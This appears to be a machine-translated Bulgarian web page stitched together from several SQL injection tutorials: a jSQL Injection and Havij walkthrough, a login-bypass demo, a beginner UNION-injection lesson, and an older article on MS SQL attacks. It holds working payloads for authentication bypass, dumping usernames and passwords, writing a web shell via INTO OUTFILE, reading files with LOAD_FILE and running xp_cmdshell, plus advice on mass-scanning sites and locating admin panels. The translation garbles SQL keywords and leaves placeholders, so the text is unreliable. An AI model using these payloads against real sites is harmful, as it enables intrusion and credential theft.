SQL инжекция отвътре и отвън. Инструкции за използване на jSQL Injection - многофункционален инструмент за намиране и използване на SQL инжекции в Kali Linux Изтеглете програма за търсене на sql инжекции

Стартирайте изтегления файл кликнете два пъти(Трябва да има виртуална машина ).

3. Анонимност при проверка на сайта за SQL инжекции

Настройване на Tor и Privoxy в Kali Linux

[Секция в процес на разработка]

Настройка на Tor и Privoxy на Windows

[Секция в процес на разработка]

Настройки на прокси сървър за jSQL инжектиране

[Секция в процес на разработка]

4. Проверка на сайта за SQL инжектиране с jSQL Injection

Работата с програмата е изключително проста. Просто въведете адреса на сайта и натиснете ENTER.

Следната екранна снимка показва, че сайтът е уязвим към три вида SQL инжекции наведнъж (информацията за тях е посочена в долния десен ъгъл). Като щракнете върху имената на инжекциите, можете да превключите използвания метод:

Освен това вече сме показали съществуващите бази данни.

Можете да видите съдържанието на всяка таблица:

Обикновено най-интересната част от таблиците са администраторските идентификационни данни.

Ако имате късмет и сте намерили данните на администратора, тогава е твърде рано да се радвате. Трябва да намерите и админ панела, където да въведете тези данни.

5. Търсете администратори с jSQL Injection

За да направите това, отидете на следващия раздел. Тук ни посреща списък с възможни адреси. Можете да изберете една или повече страници за проверка:

Удобството е, че не е необходимо да използвате други програми.

За съжаление няма много невнимателни програмисти, които съхраняват пароли в чист текст. Доста често в низа на паролата виждаме нещо подобно

8743b52063cd84097a65d1633f5c74f5

Това е хеш. Можете да го дешифрирате с груба сила. И... jSQL Injection има вградена груба сила.

6. Грубо форсиране на хешове с jSQL инжектиране

Несъмнено удобство е, че не е необходимо да търсите други програми. Има поддръжка за много от най-популярните хешове.

Не е най-доброто най-добър вариант. За да станете гуру в дешифрирането на хешове, препоръчваме книгата "" на руски език.

Но, разбира се, когато няма друга програма под ръка или няма време за учене, jSQL Injection с вградена функция за груба сила ще бъде полезна.

Има настройки: можете да зададете кои знаци да са включени в паролата, диапазона на дължината на паролата.

7. Файлови операции след откриване на SQL инжекция

В допълнение към операциите с бази данни - четенето и модифицирането им, ако бъдат открити SQL инжекции, могат да се извършват следните файлови операции:

  • четене на файлове на сървъра
  • качване на нови файлове на сървъра
  • качване на черупки на сървъра

И всичко това е имплементирано в jSQL Injection!

Има ограничения - SQL сървърът трябва да има файлови привилегии. Разумен системни администраторите са с увреждания и достъп до файлова системане може да се получи.

Наличието на файлови привилегии е достатъчно лесно да се провери. Отидете в един от разделите (четене на файлове, създаване на обвивка, качване на нов файл) и опитайте да изпълните една от посочените операции.

Друга много важна забележка - трябва да знаем точния абсолютен път до файла, с който ще работим - иначе нищо няма да работи.

Вижте следната екранна снимка:

Всеки опит за работа с файл се отговаря от: Няма привилегия FILE(няма файлови привилегии). И тук нищо не може да се направи.

Ако вместо това имате друга грешка:

Проблем при писане в [име_на_директория]

Това означава, че сте посочили неправилно абсолютния път, където искате да запишете файла.

За да приемем абсолютен път, човек трябва поне да знае операционна системана който работи сървъра. За да направите това, преминете към раздела Мрежа.

Такъв запис (низ Win64) ни дава основание да предположим, че имаме работа с Windows OS:

Keep-Alive: timeout=5, max=99 Сървър: Apache/2.4.17 (Win64) PHP/7.0.0RC6 Връзка: Keep-Alive Метод: HTTP/1.1 200 OK Дължина на съдържанието: 353 Дата: петък, 11 декември 2015 г. 11:48:31 GMT X-Powered-By: PHP/7.0.0RC6 Content-Type: text/html; charset=UTF-8

Тук имаме някои Unix (*BSD, Linux):

Transfer-Encoding: chunked Дата: петък, 11 декември 2015 г. 11:57:02 GMT Метод: HTTP/1.1 200 OK Keep-Alive: timeout=3, max=100 Връзка: keep-alive Content-Type: text/html X- Осъществено от: PHP/5.3.29 Сървър: Apache/2.2.31 (Unix)

И тук имаме CentOS:

Метод: HTTP/1.1 200 OK Изтича: четвъртък, 19 ноември 1981 г. 08:52:00 GMT Set-Cookie: PHPSESSID=9p60gtunrv7g41iurr814h9rd0; path=/ Връзка: keep-alive X-Cache-Lookup: MISS от t1.hoster.ru:6666 Сървър: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.4.37 X-Cache: MISS от t1.hoster.ru Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Дата: петък, 11 декември 2015 г. 12:08:54 GMT Transfer-Encoding: chunked Content-Type: text/html; charset=WINDOWS-1251

В Windows типичната папка на сайта е C:\Server\data\htdocs\. Но всъщност, ако някой е "мислил" да направи сървър на Windows, тогава много вероятно този човек не е чувал нищо за привилегии. Следователно трябва да започнете да опитвате директно от директорията C: / Windows /:

Както можете да видите, всичко мина перфектно от първия път.

Но самите обвивки на jSQL Injection пораждат съмнения. Ако имате файлови привилегии, тогава можете да качите нещо с уеб интерфейс.

8. Групова проверка на сайтове за SQL инжекции

И дори jSQL Injection има тази функция. Всичко е изключително просто - качете списък със сайтове (може да се импортира от файл), изберете тези, които искате да проверите и щракнете върху съответния бутон, за да започнете операцията.

Изход чрез jSQL инжектиране

jSQL Injection е добър, мощен инструмент за намиране и след това използване на SQL инжекции, намерени на сайтове. Неговите безспорни предимства: лекота на използване, вградени свързани функции. jSQL Injection може да бъде най-добрият приятел на начинаещия, когато анализира уебсайтове.

От недостатъците бих отбелязал невъзможността за редактиране на бази данни (поне не намерих тази функционалност). Както всички инструменти с GUI, недостатъците на тази програма могат да бъдат приписани на невъзможността за използване в скриптове. Въпреки това, известна автоматизация е възможна и в тази програма - благодарение на вградената функция за масова проверка на сайта.

jSQL Injection е много по-удобен за използване от sqlmap. Но sqlmap поддържа повече видове SQL инжектиране, има опции за файлова защитна стена и някои други функции.

Долен ред: jSQL инжекция - най-добър приятелначинаещ хакер.

Можете да намерите помощ за тази програма в енциклопедията Kali Linux на тази страница: http://kali.tools/?p=706

Havij е програма, която служи за проверка за уязвимости на уебсайтове. Най-често се използва не съвсем за основната си цел, а именно за въвеждане на SQL инжекции. Именно поради това инструментът най-често се нарича "хакерски" софтуер.

Принцип на действие

Като се използва това приложениевъзможно е да се извършват атаки срещу уеб услуга, за да се промени SQL изразът чрез конкатенация. Ако е успешно, инжектирането ви позволява да промените логиката за изпълнение на потребителска заявка за вашите собствени нужди. Често по време на атака се създава обикновен пръстов отпечатък (пръстов отпечатък) на базата данни, след което необходимите данни се импортират от нея, например потребителска база или администраторска база данни. Сметка. При наличието на уязвимости противникът може дори да взаимодейства с задната част на уеб приложение. По-специално, такава реализация дава възможност да се изпълняват необходимите команди на сървъра или да се преглеждат необходимите файлове от страна на хоста.

Възможности

Havij ви дава възможност да запазвате хешове на пароли и дъмпове на таблици. Програмата ви позволява да изпълнявате различни типове инжекции: SQL инжектиране на базата на грешки, SQL инжектиране на UNION заявка, SQL инжектиране на подредени заявки, сляпо SQL инжектиране на базата на време и сляпо SQL инжектиране на базата на булева стойност. Инструментът работи с HTTPS и поддържа повечето различни видовеСУБД: MSAccess, MySQL, Oracle, PostgreSQ и дори Sybase. Ако е необходимо, Havij може да работи в множество нишки чрез прокси.

Синтаксисът на вградения код може да се редактира "на ръка". Също така, преди да започне атаката, е разрешено да изберете списък с търсени ключови думи, колони на таблици или типове данни (например цели или дробни числа).

По време на работа Havij поддържа подробен дневник на извършените операции, който след приключване на атаката се съхранява в папката на програмата. Интерфейсът на приложението е доста интуитивен и всички основни контроли тук се побират в един прозорец.

Основни функции

  • извършване на SQL инжекции с желания синтаксис;
  • поддръжка на различни варианти за изпълнение;
  • търсене на уязвимости в уебсайтове и приложения;
  • възможност за работа с различни видовеСУБД;
  • поддръжка на HTTPS протокол и прокси.

SQL инжектирането е атака, която използва динамични SQL изрази чрез коментиране на определени части от изразите или чрез добавяне на условие, което винаги ще бъде вярно. Той е насочен към дупки в архитектурата на уеб приложенията и използва SQL изрази за изпълнение на злонамерен SQL код:

В тази статия ще разгледаме методите, използвани при SQL инжектиране и как да защитим уеб приложенията от подобни атаки.

Как работи SQL инжектирането

Типовете атаки, които могат да бъдат извършени с помощта на SQL инжектиране, се различават в зависимост от типа на засегнатите машини на бази данни. Атаката е насочена към динамични SQL изрази. Динамично изявление е изявление, което се генерира по време на изпълнение въз основа на параметри от уеб формуляр или URI низ на заявка.

Помислете за просто уеб приложение с форма за влизане. Кодът на HTML формата е показан по-долу:

  • Формулярът приема имейл адрес и след това паролата се изпраща до PHP файлс име index.php ;
  • Сесията се съхранява в бисквитка. Тази възможност е активирана чрез задаване на флага Remember_me. Методът post се използва за изпращане на данни. Това означава, че стойностите не се показват в URL адреса.

Да приемем, че заявката за валидиране на потребителския идентификатор от страната на сървъра е както следва:

  • Заявката използва стойностите на масива $_POST директно, без да го дезинфекцира;
  • Паролата е криптирана с помощта на алгоритъма MD5.

Ще разгледаме атака с помощта на SQL инжекция sqlfiddle. Отворете URL адреса http://sqlfiddle.com/ във вашия браузър. На екрана ще се появи следният прозорец.

Забележка: Ще трябва да напишете SQL изрази:

Стъпка 1. Въведете този код в левия панел:

CREATE TABLE `users` (`id` INT NOT NULL AUTO_INCREMENT, `email` VARCHAR(45) NULL, `password` VARCHAR(45) NULL, PRIMARY KEY (`id`)); вмъкнете в потребителски (имейл, парола) стойности (" [имейл защитен]",md5("abc"));

Стъпка 2. Щракнете върху " Схема за изграждане».
Стъпка 3: Въведете кода по-долу в десния панел:

изберете * от потребители;

Стъпка 4. Щракнете върху " Стартирайте SQL". Ще видите следния резултат:

Да приемем, че потребителят предоставя имейл адрес [имейл защитен]и 1234 като парола. Заявката, която трябва да бъде изпълнена в базата данни, може да изглежда така:

Примерният код за SQL инжектиране по-горе може да бъде заобиколен чрез коментиране на част от паролата и добавяне на условие, което винаги ще бъде вярно. Да приемем, че нападателят замества следните данни в полето за имейл адрес:

[имейл защитен]" ИЛИ 1 = 1 ОГРАНИЧЕНИЕ 1 -- " ]

и xxx в полето за парола.

Генерираният динамичен отчет ще изглежда така:

  • [имейл защитен]завършва с единична кавичка, която завършва низа;
  • ИЛИ 1 = 1 ОГРАНИЧЕНИЕ 1 е условие, което винаги ще бъде вярно, то ограничава върнатите резултати само до един запис.

0; „ И … е SQL коментар, който изключва част от паролата.

Копирайте горната заявка и я поставете в текстовото поле FiddleRun SQL SQL, както е показано по-долу:

Хакерска дейност: SQL инжекции в уеб приложения

Имаме просто уеб приложение, достъпно на http://www.techpanda.org/, което е специално направено уязвимо за атаки чрез SQL инжектиране за начинаещи за демонстрационни цели. Кодът на HTML формуляр по-горе е взет от страницата за оторизация на това приложение.

Осигурява основна сигурност, като дезинфекция на имейл поле. Това означава, че горният код не може да се използва за заобикаляне на този механизъм.

За да го заобиколите, можете да използвате полето за парола. Диаграмата по-долу показва стъпките, които трябва да следвате:

Да предположим, че нападателят предоставя следните данни:

Стъпка 1: Представяне [имейл защитен]като имейл адрес;
Стъпка 2: Въведете xxx') ИЛИ 1 = 1 - ] ;

Натиска бутона "Изпращане".

Ще бъде насочен към административния панел. Генерираната заявка ще изглежда така:

Диаграмата по-долу показва как е генерирана заявката:

Тук:

  • Заявката предполага, че се използва md5 криптиране;
  • Използват се затварящи единични кавички и скоби;
  • Към оператора се добавя условие, което винаги ще бъде вярно.

Като правило, за да постигнат целите си, нападателите се опитват да използват няколко различни метода при атака с инжектиране на SQL.

Други видове атаки чрез SQL инжектиране

SQL инжекциите могат да причинят много повече щети, отколкото влизането, заобикаляйки механизма за оторизация. Някои от тези атаки могат:

  • Извършване на изтриване на данни;
  • Извършване на актуализиране на данни;
  • Извършете добавяне на данни;
  • Изпълнете команди на сървъра, които ще изтеглят и инсталират зловреден софтуер;
  • Извършете експортиране към отдалечения сървър на атакуващия на ценни данни, като подробности кредитна карта, електронна пощаи пароли.

Горният списък не е пълен. Той просто дава представа колко опасни са SQL инжекциите.

Инструменти за автоматизация на SQL инжектиране

В горния пример използвахме методи за ръчна атака. Преди да направите SQL инжекция, трябва да разберете, че има автоматизирани инструменти, които ви позволяват да извършвате атаки по-ефективно и по-бързо:

  • SQLSmack ;
  • SQLPing 2;
  • SQLMap.

Как да предотвратите SQL инжекции

Ето няколко прости правила, което ще ви позволи да се предпазите от атаки чрез SQL инжектиране:

Въведеното от потребителя не трябва да се вярва. Винаги трябва да се дезинфекцира, преди данните да се използват в динамични SQL операции.

Съхранени процедури- могат да капсулират SQL заявки и да обработват всички входни данни като параметри.

Подготвени запитвания- първо се създават заявки, след което всички предоставени потребителски данни се обработват като параметри. Това не засяга синтаксиса на SQL оператора.

Регулярни изрази— може да се използва за откриване на потенциални зловреден коди премахването му преди изпълнение на SQL изрази.

Права за достъп за свързване с базата данни- да се защита срещу SQL инжекции, на акаунтите, които се използват за свързване към базата данни, трябва да бъдат предоставени само необходимите права за достъп. Това ще помогне за ограничаване на действията, които SQL изразите могат да извършват на сървъра.

Съобщения за грешка- не трябва да се разкрива конфиденциална информация. Прости персонализирани съобщения за грешка като " Съжаляваме, възникна техническа грешка. Поддръжката вече е уведомена за това. Моля, опитайте отново по-късно' може да се използва вместо показване на SQL заявките, които са причинили грешката.

Поздрави, читателю. Напоследък се занимавам с уеб сигурност и до известна степен работата е свързана с това. защото Все по-често започнах да забелязвам теми в различни форуми, с молба да покажа как работи всичко, реших да напиша статия. Статията ще бъде предназначена за тези, които не са се сблъсквали с това, но биха искали да научат. В мрежата има сравнително много статии по тази тема, но за начинаещи те са малко сложни. Ще се опитам да опиша всичко на ясен език и подробни примери.

Предговор

За да разберете тази статия, всъщност не се нуждаете от познания по SQL, но поне добро търпение и малко мозък - за запаметяване.

Вярвам, че едно четене на статията няма да е достатъчно, т.к. имаме нужда от живи примери - както знаете, практиката, в процеса на запаметяване, не е излишна. Затова ще пишем уязвими скриптове и ще тренираме върху тях.

Какво е SQL инжектиране?
говорене обикновен езике атака срещу базата данни, която ще ви позволи да извършите някакво действие, което не е планирано от създателя на скрипта. Пример от реалния живот:

Бащата написа в бележка до майка си, че тя даде на Вася 100 рубли и ги сложи на масата. Преработвайки това в шеговит SQL език, получаваме:
ВЗЕМЕТЕ 100 РУБЛИ ОТ ПОРТФЕЙЛА СИ И ГИ ДАЙТЕ НА Вася

Тъй като бащата написа бележката зле (тромав почерк) и я остави на масата, братът на Вася, Петя, я видя. Петя, като хакер, добави "ИЛИ Петя" там и получи следната заявка:
ВЗЕМЕТЕ 100 РУБЛИ ОТ ПОРТФЕЙЛА СИ И ГИ ДАЙТЕ НА Вася ИЛИ Петя

Мама, след като прочете бележката, реши, че вчера е дала пари на Вася и даде 100 рубли на Петя. Ето един прост пример за SQL injection от реалния живот :) Без филтриране на данните (мама едва различаваше почерка), Петя излезе на печалба.

Подготовка
За практика ще ви е необходим архив с изходните скриптове за тази статия. Изтеглете го и го разархивирайте на сървъра. Също така импортирайте базата данни и задайте данните във файла cfg.php

Търсене чрез SQL инжектиране

Както вече разбрахте, инжекцията идва от входящи данни, които не са филтрирани. Най-честата грешка е нефилтрирането на предадения ID. Е, грубо казано, заменете кавички във всички полета. Било то GET/POST заявка или дори бисквитка!

Цифров параметър за въвеждане
За практика се нуждаем от скрипт index1.php. Както казах по-горе, ние заместваме кавички в ID на новините.

защото нашата заявка няма филтриране:

$id = $_GET["id"]; $query = "SELECT * FROM новини WHERE id=$id";

Сценарият ще разбере това като

ИЗБЕРЕТЕ * ОТ новини WHERE id=1"

И ще ни даде грешка:
Предупреждение: mysql_fetch_array() очаква параметър 1 да бъде ресурс, булев, даден в C:\WebServ\domains\sqlinj\index1.php на ред 16

Ако не се генерира грешка, може да има следните причини:

1.SQL инжекцията не е тук - цитатите се филтрират или просто преобразуване към (int)
2. Деактивиран изход за грешка.

Ако въпреки това е изведена грешка - Ура! Открихме първия вид SQL инжектиране - цифров входен параметър.

Параметър за въвеждане на низ

Заявките ще бъдат изпращани до index2.php. IN даден файл, заявката изглежда така:
$user = $_GET["user"]; $query = "SELECT * FROM новини WHERE user="$user"";

Тук правим селекция на новини по потребителско име и отново - не филтрираме.
Отново изпращаме запитване с оферта:

Даде грешка. ДОБРЕ! Така че има уязвимост. Това ни е достатъчно, за да започнем - нека се заемем с практиката.

Да вземем мерки

Малко теория

Вероятно нямате търпение да извлечете нещо от това, освен грешките. Първо, разберете, че знакът " -- “ се счита за коментар в SQL език.

ВНИМАНИЕ! Трябва да има интервали преди и след него. В URL адреса те се предават като %20

Всичко, което идва след коментара, ще бъде отхвърлено, тоест заявката:
ИЗБЕРЕТЕ * ОТ новини WHERE user="AlexanderPHP" -- habrahabra

Изпълнете успешно. Можете да го изпробвате на скрипта index2.php, като изпратите заявка като тази:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Научете параметър СЪЮЗ. На SQL език ключова дума СЪЮЗизползва се за комбиниране на резултатите от две SQL заявки в една таблица. Тоест, за да извадим нещо, което ни трябва от друга маса.

Ние се възползваме от това

Ако параметърът е "Числен", тогава в заявката не е необходимо да изпращаме оферта и естествено да поставим коментар накрая. Обратно към сценария index1.php.

Нека се обърнем към скрипта sqlinj/index1.php?id=1 UNION SELECT 1 . Нашата заявка към базата данни изглежда така:
ИЗБЕРЕТЕ * ОТ новини WHERE id=1 UNION ИЗБЕРЕТЕ 1
И той ни даде грешка, защото. за да работим с агрегиране на заявки, имаме нужда от същия брой полета.

защото Тъй като не можем да повлияем на броя им в първата заявка, трябва да изберем броя им във втората, така че да е равен на първия.

Избираме броя на полетата

Изборът на полета е много прост, просто изпратете следните заявки:
sqlinj/index1.php?id=1 UNION SELECT 1,2
грешка...
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Отново грешка!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Няма грешка! Така че броят на колоните е 5.

ГРУПИРАЙ ПО
Често се случва полетата да са 20, 40 или дори 60. За да не се налага да преминаваме през тях всеки път, използваме ГРУПИРАЙ ПО

Ако искането
sqlinj/index1.php?id=1 ГРУПИРАНЕ ПО 2
не даде никакви грешки, така че броят на полетата е повече от 2. Ние се опитваме:

sqlinj/index1.php?id=1 ГРУПИРАНЕ ПО 8
Op, виждаме грешка, така че броят на полетата е по-малък от 8.

Ако няма грешка с GROUP BY 4, но има грешка с GROUP BY 6, тогава броят на полетата е 5

Дефиниране на колони за показване
За да не се показва нищо от първата заявка, достатъчно е да замените несъществуващ ID, например:

sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5

С това действие сме определили кои колони да се показват на страницата. сега да заменим тези числа с необходимата информация, трябва да продължите заявката.

Извеждане на данни

Да кажем, че знаем, че таблицата все още съществува потребителив които има полета документ за самоличност, имеИ пас.
Трябва да получим информация за потребителя с ID=1

Така че нека изградим заявка като тази:

sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM потребители WHERE id=1
Скриптът също продължава да извежда

За целта ще заменим името на полетата на мястото на числата 1 и 3

sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM потребители WHERE id=1
Получихме каквото ни трябваше!

За "параметър за въвеждане на низ", както в скрипта index2.phpтрябва да добавите кавичка в началото и знак за коментар в края. Пример:
sqlinj/index2.php?user=-1" UNION SELECT name,2,pass,4,5 FROM потребители WHERE id=1 --%20

Четене/запис на файлове

За да чете и записва файлове, потребителят на базата данни трябва да има разрешения FILE_PRIV.
Писане на файлове
Всъщност всичко е много просто. За да напишем файл, ще използваме функцията OUTFILE.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20
Страхотно, имаме файла. По този начин можем да качим мини-черупка:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 INTO OUTFILE "1.php" --%20
Четене на файлове
Четенето на файлове е дори по-лесно от писането им. Достатъчно е само да използвате функцията LOAD_FILE, за мястото на полето, което избираме:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Така прочетохме предишния написан файл.

Методи за защита

Да се ​​защитите е дори по-лесно, отколкото да използвате уязвимост. Просто филтрирайте данните. Ако предавате числа, използвайте
$id = (int) $_GET["id"];
Както предложи потребителят malroc. Защитете, като използвате PDO или подготвени изявления.

Вместо да завършите

С това искам да завърша първата си част за „SQL инжектиране за начинаещи“. Във втория ще разгледаме по-трудни примери за инжекции. Опитайте се сами да пишете уязвими скриптове и да изпълнявате заявки.
И помнете, не се доверявайте на нито един потребител на вашия сайт.

SQL инжекциядостатъчно удобен случайза да получи хакер
достъп до сървъра. И с малко усилия той
все още го разбирам 🙂

кодер вътре

В днешно време се поддържа работа с бази данни
почти всички езици за програмиране, като BASIC, C++, Java, PERL, PHP, Assembler и дори JavaScript! И тези програми не се наричат ​​нищо повече от СУБД - системи за управление на бази данни. Базите данни често се използват за решаване на финансови проблеми,
счетоводство, организация на персонала, но намериха приложение и в интернет.

Базите данни често се използват за писане на уеб приложения. Използването им е най-подходящо за съхраняване на потребителски регистрационни данни, идентификатори на сесии, организиране на търсения и други задачи, които изискват повече обработка.
количество данни. За достъп до базата данни се използват сървърни технологии: PHP, PERL, ASP и др. Тук започва забавлението. Когато сте на сървъра
всички пачове са инсталирани и защитната стена блокира всички портове с изключение на 80 или когато се изисква удостоверяване за достъп до някои данни, хакер може да използва SQL Injection за кракване. Същността на тази атака е да се използва грешка в пресечната точка на WEB технологиите и SQL. Въпросът е, че много уеб странициза обработка на потребителски данни, формирайте специален SQL DB заявка. Невнимателното използване на тази техника може да доведе до доста интересни резултати...

SQL инжекция

За да обясним атаката, нека си представим, че сте отишли ​​на сайта, за да изтеглите един много важен инструмент и забелязвате с ужас, че само регистриран потребител може да направи това, а регистрацията, разбира се, струва пари Време е да си припомним как
достъп до бази данни SQL. Например проверката на потребителско име и парола в PHP може да изглежда така:

$result=mysql_db_query($db,"SELECT * FROM $table WHERE user="$login" И
pass="$password"");
$num_rows=mysql_num_rows($result);
mysql_close($link);
ако ($num_rows!=0)
{
// УДОСТОВЕРЯВАНЕТО ОК
}
друго
{
// ГРЕШКА ПРИ УДОСТОВЕРЯВАНЕ
}

Добавих два коментара, "УДОСТОВЕРЯВАНЕТО ОК" - вместо това трябва
отидете на кода, който ще бъде изпълнен, ако паролата и данните за вход са правилни. Друга "ГРЕШКА ПРИ УДОСТОВЕРЯВАНЕ" е мястото, където ще бъде описан кодът, който се изпълнява в случай на тяхната некоректност. Ако попълните формуляра, заявката ще изглежда като "http://www.server.com?login=user&password=31337", където www.server.com е името
сървъра, към който се опитваме да се свържем. Намерихме това, което търсихме и затова ще се върнем на работа отново SQL. Така че, ако трябва да посочите потребителско име и парола за оторизация, тогава генерираният SQLзаявката ще изглежда така:

ИЗБЕРЕТЕ * ОТ потребители WHERE login="user" AND
парола="31337"

Това означава нещо подобно: върнете ми всички записи от базата данни с потребители с логин "потребител" и парола "31337". Ако такъв запис съществува, тогава потребителят е регистриран, но ако не, тогава не ... Но при определени обстоятелства всичко може да бъде поправено. Това се отнася до ситуация, когато приложението не проверява съдържанието на предадените данни или проверява непълно за наличието SQLинструкции. В този пример двете полета за вход и парола са проверени, но ако паролата е "31337" И имейл=" [имейл защитен]"(без двойни кавички), тогава заявката ще се окаже малко по-различна:

ИЗБЕРЕТЕ * ОТ потребители WHERE login="user" AND password="31337" AND
имейл=" [имейл защитен]"

И ако полето за имейл съществува, това условие също ще бъде проверено. Ако си спомняте основите на булевата алгебра, идва на ум, че в допълнение към операцията "и" има и "или", и тъй като използването им се поддържа от SQL, можете
по описания начин добавете условие, което винаги връща true. За да реализирате това, е необходимо да посочите "потребител" ИЛИ 1=1--" като логин, в който случай заявката ще приеме формата:

ИЗБЕРЕТЕ * ОТ потребители WHERE login="user" OR 1=1--" AND
парола="31337"

Като начало трябва да знаете, че "--" означава края на заявката и всичко след "--"
няма да се обработват! Изглежда, че направихме заявка:

ИЗБЕРЕТЕ * ОТ потребители WHERE login="user" ИЛИ 1=1

Както можете да видите, добавихме условието "1=1", което означава, че критерият за проверка ще бъде "ако влизането е "потребител" или 1=1", но 1 винаги е равно на 1 (единственото изключение може да е аритметиката на Дани Шеповалов :)). За да тестват нашите подозрения
забиваме в адресната лента "http://www.server.com?login=user or 1=1--&password=31337". Това води до факта, че няма значение кой вход сме посочили, но
особено паролата! И ние сме в матрицата ... о, в системата и можем спокойно да изтеглим това, което ни трябва.

Но всичко това е на теория. На практика ние не знаем как се формира заявката, какви данни се предават и в каква последователност. Следователно трябва да посочите „потребител“ ИЛИ 1=1--" за всички полета. Трябва също да проверите формуляра за изпращане за скрити полета. В HTML те са описани като „ ". Ако има такива, запазете страницата и променете стойностите ​​​​на тези полета. Стойностите, съдържащи се в тях, често се забравят да бъдат проверени за наличие на SQL инструкции. Но за всичко за да работи, трябва да посочите пълния път до скрипта във формуляра (таг "FORM") за параметъра "ACTION", който обработва тази заявка.

Но не винаги е известно и как се формира заявката,
Предишният пример може да се формира по следните начини:

ИЗБЕРЕТЕ * ОТ потребители КЪДЕ (влизане = "потребител" И парола = "31337")
ИЗБЕРЕТЕ * ОТ потребители WHERE login="user" AND password="31337"
ИЗБЕРЕТЕ * ОТ потребители WHERE вход=потребител И парола=31337

В този случай можете да опитате следните опции:

" ИЛИ 1=1--
" ИЛИ 1=1--
ИЛИ1=1--
" ИЛИ "a"="a
" ИЛИ "a"="a
") ИЛИ ("a"="a
ИЛИ "1"="1"

Всичко зависи от целта на скрипта и от програмиста. Тъй като всеки човек е склонен да прави всичко по свой начин, е напълно възможно програмистът да не избере най-лесния вариант. Следователно, не трябва веднага
откажете се, ако ви откажат. Необходимо
опитайте колкото се може повече опции...

Откриване на парола

Заобикалянето на оторизацията не е лошо, но много често дупката, която използвате, се затваря и всичко, което ви е било достъпно, се губи.
Това може да се очаква, ако програмистът не е глупак
с времето ще покрие всички вратички. Можете лесно да се отървете от подобни ситуации, като се погрижите за това предварително. Правилното решение може да бъде да познаете паролата от
анализ на резултатите от удостоверяването. Първо се опитваме да познаем паролата, за това въвеждаме нейното място:

"ИЛИ парола>"a

Ако ни се каже, че разрешението е преминало, тогава паролата
не започва с буквата "а", а с една от следните в списъка. Продължаваме напред и заместваме
място "a", следва "b", "c", "d", "e"... и т.н. докато не ни бъде казано, че паролата не е правилна. Нека този процес спре на знака "x", в този случай се създават два сценария за развитие на ситуацията, паролата се намира или паролата се чете на този знак. За да проверите първата опция, напишете мястото на паролата:

" ИЛИ парола="x

и ако паролата е приета и ви пуснат, значи сте познали паролата! Е, не, тогава трябва да изберете втория символ,
абсолютно същото от самото начало. За два знака проверка
нужда от същото. Накрая ще получите парола и по същия начин търсите логин 🙂
Ако намерената парола и вход не ви подхождат, можете да намерите други. За да направите това, трябва да започнете проверката от последния знак на намерената парола. Така че, ако паролата е била "xxx", е необходимо да проверите съществуването на паролата
"xxy":

" ИЛИ парола="xxx

да не пропускате нито една опция!

MS SQL сървър

Г-ЦА SQL сървъркато цяло божи дар, ако е пропуснато необходимото филтриране. Използвайки уязвимостта на SQL Injection, можете да изпълните
команди на отдалечен сървър с помощта на exec master..xp_cmdshell. Но да се използва тази конструкция
трябва да завършите операцията "SELECT". В SQL изразите са разделени с точка и запетая. Следователно, той ще се свърже с някакъв IP чрез Telnet, трябва да въведете паролата / мястото за влизане:

"; exec master..xp_cmdshell "telnet 192.168.0.1" --

MS SQL Server има още няколко интересни функции, които ви позволяват да разберете данните за вход и паролите, съхранени в базата данни. За да направите това, изходът за грешка се пренасочва към произволен сървър и през тях
анализ, можете да разберете името на таблицата, полетата и техните типове. След това можете да поискате

" UNION ИЗБЕРЕТЕ ТОП 1 влизане ОТ потребители--

(login е името на полето, съдържащо login, а users е името на таблицата,
полуучени в процеса на анализ на грешки).

Отговорът може да бъде:


Синтактична грешка при преобразуване на стойността nvarchar "admin" to a column of data type int. !}
/default.asp, ред 27

Сега знаем, че има потребител с име "admin". Сега можем да получим неговата парола:

" UNION SELECT TOP 1 парола FROM потребители, където login="admin"--

Резултат:

Грешка на Microsoft OLE DB доставчик за ODBC драйвери "80040e07"
Синтаксична грешка при преобразуване на стойността nvarchar "xxx" to a column of data type int. !}
/tedault.asp, ред 27

Вече знаем, че има потребител "admin" с парола "xxx". Това може безопасно
използвайте и влезте в системата 😉

Но има много други функции за работа със SQL,
когато работите с база данни, можете също да изтривате данни, да променяте, да вмъквате свои собствени и дори да манипулирате файлове и да работите с регистъра.
Като цяло правилата на SQL Server 🙂

защита

Но всичко това, разбира се, може да бъде избегнато. За това можете
използвайте филтрите
предоставени от производителите. Можете да намерите свои собствени решения, например да замените всички единични
двойни кавички (ако за SQLзаявка, използваме единична), или обратното. Можете да разрешите само използването на букви и s@baki, в случай че трябва да влезете
имейл адрес. И в перлата има невероятно
функцията 🙂 quote() в модула DBI::DBD, която успешно прави вашата заявка безопасна срещу SQL. Има много решения, просто ви трябват
възползвам се. Иначе защо тогава всичко това...



Зареждане...
Връх